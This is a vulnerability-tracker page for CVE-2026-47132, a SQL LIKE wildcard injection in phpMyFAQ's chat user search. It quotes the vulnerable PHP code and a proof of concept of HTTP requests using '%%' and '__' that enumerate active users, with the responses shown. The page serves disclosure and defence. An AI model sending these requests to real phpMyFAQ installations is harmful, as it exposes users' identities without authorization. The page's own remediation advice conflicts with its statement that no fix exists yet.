CVE-2026-47132

MEDIUMPre-NVD 5.45.4
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
5.4EG
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: CVSS: 5.4Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration

Summary

An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and _, which remain active LIKE wildcards.

### Details

The vulnerable endpoint is:

GET /api/chat/users?q=...
Source:
// phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php
  $query = trim($request->query->get('q', ''));

if (mb_strlen($query) < 2) { return $this->json([ 'success' => true, 'users' => [], ], Response::HTTP_OK); }

$chat = new Chat($this->configuration); $users = $chat->searchUsers($query, $this->currentUser->getUserId());

Sink:
// phpmyfaq/src/phpMyFAQ/Chat.php
  $escapedTerm = $this->configuration->getDb()->escape(mb_strtolower($searchTerm));

$query = sprintf( "SELECT u.user_id, ud.display_name FROM %sfaquser u LEFT JOIN %sfaquserdata ud ON u.user_id = ud.user_id WHERE u.user_id != %d AND u.user_id > 0 AND LOWER(ud.display_name) LIKE '%%%s%%' AND u.account_status = 'active' LIMIT %d", Database::getTablePrefix(), Database::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, );

escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and _ are interpreted by the database as wildcards.

The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.

### PoC:

Tested against:

phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae

Prerequisite: attacker has any valid authenticated user account.

  • Ensure there are multiple active users in the database, for example:
userId=2 displayName="Alice Finance"
  userId=3 displayName="Bob Support"
  userId=4 displayName="Carol Engineering"
  • Send a normal query that should not match any user:
GET /api/chat/users?q=zz HTTP/1.1
  Host: target
  Cookie: [authenticated session]
Observed response:
{
    "success": true,
    "users": []
  }
  • Send a wildcard query:
GET /api/chat/users?q=%25%25 HTTP/1.1
  Host: target
  Cookie: [authenticated session]
Observed response:
{
    "success": true,
    "users": [
      {
        "userId": 2,
        "displayName": "Alice Finance"
      },
      {
        "userId": 3,
        "displayName": "Bob Support"
      },
      {
        "userId": 4,
        "displayName": "Carol Engineering"
      }
    ]
  }
The same issue is reproducible with _ wildcards:
GET /api/chat/users?q=__ HTTP/1.1
  Host: target
  Cookie: [authenticated session]
Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q=__ returned active users.

### Impact

This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.

Video PoC:

https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f

CVSS v3
5.4
EG Score
5.4(low)
EG Risk
29(Track)
EG Risk 29/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity54% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 12, 2026

Last Modified

August 12, 2026

Vendor Advisories for CVE-2026-47132(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 0× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-12 15:21 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-47132?
CVE-2026-47132 is a medium vulnerability published on August 12, 2026. phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration Summary An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users.…
When was CVE-2026-47132 disclosed?
CVE-2026-47132 was first published in the National Vulnerability Database on August 12, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-47132?
CVE-2026-47132 has a CVSS v4.0 base score of 5.4 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47132?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47132, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-47132

Explore →

Is Your Infrastructure Affected by CVE-2026-47132?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.